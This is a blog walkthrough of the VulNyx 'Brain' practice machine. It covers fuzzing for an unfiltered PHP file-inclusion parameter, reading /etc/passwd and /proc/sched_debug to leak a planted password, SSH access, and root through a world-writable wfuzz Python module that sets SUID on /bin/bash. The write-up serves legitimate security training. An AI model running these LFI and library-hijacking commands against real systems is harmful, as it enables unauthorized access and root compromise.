> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# VulNyx Brain Walkthrough: LFI to Root via /proc/sched_debug
- URL: https://taiwanding.com/en/vulnyx-brain-writeup/
- Published: 2026-07-11T17:41:12.000Z
- Updated: 2026-07-15T02:50:36.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

When a web page fills the entire screen with strange output, it isn't decorating the layout — it's shouting a file path at you. This VulNyx box, Brain, is rated Easy, yet it stopped me dead in my tracks — not because the techniques were hard, but because it hid the answer somewhere you'll never think of unless you already know it exists.

## 1\. Box Info

| Item       | Details |
| ---------- | ------- |
| Platform   | VulNyx  |
| Name       | Brain   |
| Author     | d4t4s3c |
| Difficulty | Easy    |

## 2\. Recon

### 2.1 Nmap

The full port scan came back almost suspiciously clean — only two ports:

```bash
nmap -n -Pn -sS -p- --min-rate 5000 <target>

```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

```

22 (SSH) plus 80 (HTTP). SSH is a dead end without credentials, so the entry point is almost certainly the web.

### 2.2 That Weird Homepage

Open port 80 in a browser and the whole page is just this:

```
runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1      2927.102286      1731   120         0.000000       509.025216         0.000000 0 0 /

```

The entire page is only 361 bytes. No matter how I hit it with `curl`, it returned the same string — changing the User-Agent, adding parameters, switching to POST, nothing budged. This is a **static, hard-coded** page. Notice how those numbers are forever frozen at the same value; genuinely live system data would never behave like that.

Here's a bit of foreshadowing: this table format is actually the native output of the Linux kernel file `/proc/sched_debug`. **At the time I'd never heard of this format, and I never connected it to the attack that came later** — which is exactly why I ended up taking the scenic route. If you don't recognize this string either, the fastest move is to paste the whole chunk into a search engine; within a second it'll tell you this is `/proc/sched_debug`. Pentesting isn't about memorizing everything — it's about being able to quickly look up whatever you don't understand.

## 3\. Foothold: From LFI to Credentials

### 3.1 Directory and Parameter Enumeration

Directory brute-forcing turned up only `index.php` — the homepage itself:

```bash
gobuster dir -w directory-list-2.3-medium.txt -u http://<target>/ -x html,php,txt
# /index.php  (Status: 200) [Size: 361]

```

`.git`, `.phps`, vhosts, backup files — all came up empty. Under the web root there is, quite literally, just the one file: `index.php`.

Since the page exposes no visible parameters, the next move is to fuzz for parameter names. The trick here is to use `--hh=361` (or ffuf's `-fs 361`) to filter out that 361-byte default response; any parameter that changes the page length will reveal itself:

```bash
wfuzz -c --hc=404 -w common.txt -u "http://<target>/index.php?FUZZ=/etc/passwd" --hh=361

```

```
000002202:   200   33 L   64 W   1750 Ch   "include"

```

The parameter name is `include`, and the response jumps straight to 1750 bytes — LFI in hand.

### 3.2 Reading the Source to Confirm No Filtering

Use `php://filter` to read `index.php`'s own source:

```bash
curl -s "http://<target>/index.php?include=php://filter/convert.base64-encode/resource=index.php" | base64 -d

```

The backend logic it decodes to is about as bare-bones as it gets:

```php
<?php
    $filename = $_GET['include'];
    include($filename);
?>

```

A completely unfiltered, blacklist-free `include($_GET['include'])`. That sched\_debug string from earlier is just decoration hard-coded and printed above; the real functionality is this wide-open file inclusion.

### 3.3 Enumerating Users

```bash
curl -s "http://<target>/index.php?include=/etc/passwd" | grep "sh$"

```

```
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash

```

The only real user accounts are `root` and `ben`.

### 3.4 The Key Twist: Reading the "Real" sched\_debug

This step is the heart of the whole box, and it's the part I only figured out after taking the long way around.

The homepage had been showing me the contents of sched\_debug all along — that was a **hint**, not a red herring. Since I already had arbitrary file read, I should go straight to reading the actual file. The version on the homepage is a PHP imitation trimmed down to a single line — a fake. The real `/proc/sched_debug` is generated live by the kernel and lists **every** task currently being scheduled on the system:

```bash
curl -s "http://<target>/index.php?include=/proc/sched_debug" | grep ben

```

```
 S    ben:B3nP4zz   375   1257.728035   25   120   0.000000   0.989759   0.000000 0 0 /

```

The author ran a process on the system and deliberately named it `ben:B3nP4zz`. `/proc/sched_debug` dutifully lists the name of every task, and just like that the password leaks out — **`B3nP4zz`**.

> **Here's the elegance of the design**: `/proc/sched_debug` is a genuine, real Linux kernel file (in the same family as `/proc/cpuinfo` and `/proc/meminfo` — all live kernel state). The author didn't invent a fake path; they used a real but obscure file and hid the secret inside a process name it would display. Precisely because it's obscure, no standard LFI wordlist includes this path, so pure fuzzing will never find it — the only way through is to "recognize which file the homepage is imitating, then manually read the real thing."

### 3.5 SSH Login

```bash
sshpass -p 'B3nP4zz' ssh ben@<target> -o StrictHostKeyChecking=no

```

```
ben@brain:~$ id
uid=1000(ben) gid=1000(ben) grupos=1000(ben)

```

Logged in as `ben` and got user-level access.

## 4\. Privilege Escalation: wfuzz Python Library Hijacking

### 4.1 sudo Permissions

After logging in, `sudo -l`:

```bash
ben@brain:~$ sudo -l
User ben may run the following commands on Brain:
    (root) NOPASSWD: /usr/bin/wfuzz

```

`ben` can run `wfuzz` as root without a password — that's the break we need, and it finally explains the official `wfuzz-sudo` tag. The irony is that I'd been thinking of wfuzz as a "brute-force tool" the whole time, which was completely the wrong angle: **it isn't here to crack passwords, it's the vehicle for privilege escalation**.

### 4.2 Why wfuzz Can Be Hijacked

String three facts together and the attack surface appears:

1. wfuzz is written in Python, and when it runs it `import`s its own modules (`.py` files).
2. When you run it with `sudo`, those imported modules **also execute as root**.
3. If there's even one module file that "wfuzz loads and you can write to," the code you drop in will run as root.

When Python imports a module, it executes the module-level code of the entire file from top to bottom — and that's exactly what can be abused.

### 4.3 Finding a Writable Module

```bash
ben@brain:~$ find / -writable 2>/dev/null | grep -vE "proc|sys|tmp|run|dev|home|var"
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py

```

```bash
ben@brain:~$ ls -l /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 range.py

```

`-rwxrwxrwx` (777), world-writable — a hole the author left on purpose. And `range.py` is precisely the file wfuzz loads when it uses the `-z range` payload module.

### 4.4 Planting the Payload and Triggering It

Append the escalation code to the end of the module so that when it's imported, it sets the SUID bit on `/bin/bash`:

```bash
ben@brain:~$ echo -e 'import os\nos.system("chmod +s /bin/bash")' >> /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py

```

Then run wfuzz with sudo, using `-z range` to force it to load the poisoned module:

```bash
ben@brain:~$ sudo /usr/bin/wfuzz -z range,1-1 -u http://127.0.0.1/FUZZ

```

The localhost target given with `-u` just exists to let wfuzz run at all; the response doesn't matter. The point is that the moment it starts up it imports `range.py`, and your `chmod +s /bin/bash` executes as root at that instant.

### 4.5 Getting Root

```bash
ben@brain:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 abr 18 2019 /bin/bash

ben@brain:~$ /bin/bash -p
bash-5.0# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) grupos=0(root),1000(ben)

```

Once `/bin/bash` has the SUID bit, running it makes the effective user the file owner, root; the `-p` in `bash -p` preserves privileges instead of dropping them back to ben, so `euid=0` and we've got root.

## 5\. Three Takeaways

**The homepage's weird content is often an explicit path.** When an author goes to the trouble of imitating a file's output format for you to see, it's not pointless — they're telling you to go read the real file. The moment you see "what some file's output looks like," your reflex should be "can the LFI I already have read it directly?"

**Just because an LFI wordlist can't find a file doesn't mean it isn't there.** Wordlists brute-force common paths, but the obscure files an author deliberately hints at (like `/proc/sched_debug`) often aren't in them. When the theme clearly points at a specific file, manually take a shot at it — don't trust the fuzzer's results alone.

**A sudo-runnable Python tool + a writable module = privilege escalation.** Python Library Hijacking isn't limited to wfuzz. Any Python program or script that `sudo` can execute is worth checking with `find / -writable` for a writable module it imports. It's an extremely general local-privesc pattern, worth writing into your own methodology.

As for those `/proc` files — `/proc/*/cmdline`, `/proc/*/environ`, and this time `/proc/sched_debug` — they're all live kernel state, and fields like process names, environment variables, and command-line arguments can all have sensitive info stuffed into them. Next time you're on any Linux box and someone shows you the contents of `/proc/`, take a second look.

Happy Hacking 🧠